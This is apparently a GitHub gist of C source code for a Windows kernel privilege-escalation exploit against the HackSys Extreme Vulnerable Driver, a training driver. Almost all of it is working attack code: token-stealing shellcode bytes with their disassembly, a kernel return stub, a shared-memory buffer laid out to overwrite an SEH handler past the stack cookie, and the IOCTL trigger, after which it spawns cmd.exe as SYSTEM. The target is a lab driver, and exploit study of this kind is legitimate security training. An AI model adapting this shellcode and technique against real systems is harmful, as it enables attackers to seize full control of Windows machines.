Created
October 4, 2021 16:01
-
-
Save ewilded/cb98988cadb2701b274f640944c23ee7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#include <conio.h> | |
#define HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) | |
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread | |
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process | |
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId | |
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink | |
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token | |
#define SYSTEM_PID 0x004 // SYSTEM Process PID | |
#define SHARED_MEMORY_NAME "HackSysExtremeVulnerableDriverSharedMemory" | |
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver" | |
// token-stealing shellcode taken from hasherezade's PoC | |
// stub taken from https://klue.github.io/blog/2017/09/hevd_stack_gs/ this write up (found the same stack offsets manually earlier), rewrote it to AT&T, generated opcodes, tested | |
unsigned char kShellcode[] = { | |
/* token-stealing code: | |
0: 60 pusha | |
1: 64 a1 24 01 00 00 mov %fs:0x124,%eax | |
7: 8b 40 50 mov 0x50(%eax),%eax | |
a: 89 c1 mov %eax,%ecx | |
c: ba 04 00 00 00 mov $0x4,%edx | |
11: 8b 80 b8 00 00 00 mov 0xb8(%eax),%eax | |
17: 2d b8 00 00 00 sub $0xb8,%eax | |
1c: 39 90 b4 00 00 00 cmp %edx,0xb4(%eax) | |
22: 75 ed jne 0x11 | |
24: 8b 90 f8 00 00 00 mov 0xf8(%eax),%edx | |
2a: 8b b9 f8 00 00 00 mov 0xf8(%ecx),%edi | |
30: 83 e2 f8 and $0xfffffff8,%edx | |
33: 83 e7 07 and $0x7,%edi | |
36: 01 fa add %edi,%edx | |
38: 89 91 f8 00 00 00 mov %edx,0xf8(%ecx) | |
3e: 61 popa | |
3f: 31 c0 xor %eax,%eax | |
*/ | |
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1, | |
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D, | |
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED, | |
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00, | |
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00, | |
0x00, 0x00, 0x61, 0x31, 0xC0, | |
/* now, kernel clean return stub: | |
mov (esp+0x78c), %edi | |
mov (esp+0x790), %esi | |
mov (esp+0x794), %ebx | |
add $0x9b8, %esp | |
pop %ebp | |
ret $0x8 | |
*/ | |
0x8b, 0xbc, 0x24, 0x8c, 0x07, 0x00, 0x00, 0x8b, 0xb4, 0x24, 0x90, 0x07, | |
0x00, 0x00, 0x8b, 0x9c, 0x24, 0x94, 0x07, 0x00, 0x00, 0x90, 0x90, 0x90, | |
0x81, 0xc4, 0xb8, 0x09, 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00 | |
}; | |
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver"; | |
HANDLE open_device(const char* device_name) | |
{ | |
HANDLE device = CreateFileA(device_name, | |
GENERIC_READ | GENERIC_WRITE, | |
NULL, | |
NULL, | |
OPEN_EXISTING, | |
NULL, | |
NULL | |
); | |
return device; | |
} | |
void close_device(HANDLE device) | |
{ | |
CloseHandle(device); | |
} | |
BOOL send_ioctl(HANDLE device, DWORD ioctl_code) | |
{ | |
// Payatu's official HEVD exploit code instead | |
// For now let's go with Payatu's code ;] | |
ULONG BytesReturned; | |
SIZE_T PageSize = 0x1000; // 4096 | |
HANDLE Sharedmemory = NULL; | |
PVOID MemoryAddress = NULL; | |
PVOID SuitableMemoryForBuffer = NULL; | |
LPVOID SharedMappedMemoryAddress = NULL; | |
SIZE_T SeHandlerOverwriteOffset = 0x214; // 532, this our payload length, we put it in the last 532 bytes of a 4096-byte (one page) memory block | |
// A*512 + DWORD XORED COOKIE + 3 DWORD JUNKS + DWORD SE HANDLER = 512+4+12+4 = 532 | |
// deliberately, so reading past this range will cause an exception in kernel mode, which in turn should trigger the SEH handler we just overwrote | |
LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME; | |
// Get the device handle | |
printf("\t\t[+] Creating Shared Memory\n"); | |
// Create the shared memory | |
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_EXECUTE_READWRITE,0,PageSize,SharedMemoryName); // Create a 4KB mapping | |
if (!Sharedmemory) { | |
printf("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
else { | |
printf("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory); | |
} | |
printf("\t\t[+] Mapping Shared Memory To Current Process Space\n"); | |
// Map the shared memory in the process space of this process | |
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,FILE_MAP_ALL_ACCESS,0,0,PageSize); // Mapped view of file - a virtual address in user space, one page 4KB | |
if (!SharedMappedMemoryAddress) { | |
printf("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
else { | |
printf("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress); | |
} | |
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); // set this to 3564-th byte, the beginning of our payload | |
// e.g. 0x1000 (4096) + (4096 - 532 = 3564), which means that our payload (A*512+DWORD (COOKIE) + 3 DWORDS (JUNK) + DWORD (EIP SEHANDLER)) MUST START HERE | |
// so our payload should be 532-bytes long | |
// and reading past it will cause reading past the 4096 byte-long SharedMappedMemoryAddress - and cause an exception while in kernel mode | |
printf("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer); | |
printf("\t\t[+] Preparing Buffer Memory Layout\n"); | |
RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41); | |
MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x210); // SE handler | |
*(PULONG)MemoryAddress = (ULONG)kShellcode; | |
printf("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); | |
printf("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress); | |
printf("\t\t[+] EoP Payload: 0x%p\n", kShellcode); // kShellcode | |
printf("Press any key to continue (set the breakpoint at this shellcode if you want, just remember to use .process first)...\n"); | |
_getch(); | |
printf("\t[+] Triggering Kernel Stack Overflow GS\n"); | |
printf("\t[+] Making the driver read from usermode %x to %x.\n",(ULONG)SuitableMemoryForBuffer,(ULONG)((ULONG)SuitableMemoryForBuffer+(ULONG)SeHandlerOverwriteOffset)); | |
OutputDebugString("****************Kernel Mode****************\n"); | |
// RAISE_EXCEPTION_IN_KERNEL_MODE is just a predefined constant (0x4) || NOW DEBUG AGAIN (WITHOUT 0x4 OFFSET) TO SEE IF WE OVERWRITE THE RIGHT POINTERS IN MEMORY (before we hit the canary-checking function, we can see this with a breakpoint right after memcpy call) | |
DeviceIoControl(device, ioctl_code, (LPVOID)SuitableMemoryForBuffer, (DWORD)SeHandlerOverwriteOffset+0x4, | |
NULL, 0, &BytesReturned, NULL); | |
// Debugger entered on first try; Bugcheck callbacks have not been invoked. | |
OutputDebugString("****************Kernel Mode****************\n"); | |
return EXIT_SUCCESS; | |
} | |
int main() | |
{ | |
HANDLE dev = open_device(kDevName); | |
if (dev == INVALID_HANDLE_VALUE) { | |
printf("Failed!\n"); | |
system("pause"); | |
return -1; | |
} | |
send_ioctl(dev, HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS); | |
close_device(dev); | |
system("cmd.exe"); // we should be SYSTEM now, spawn cmd.exe | |
system("pause"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment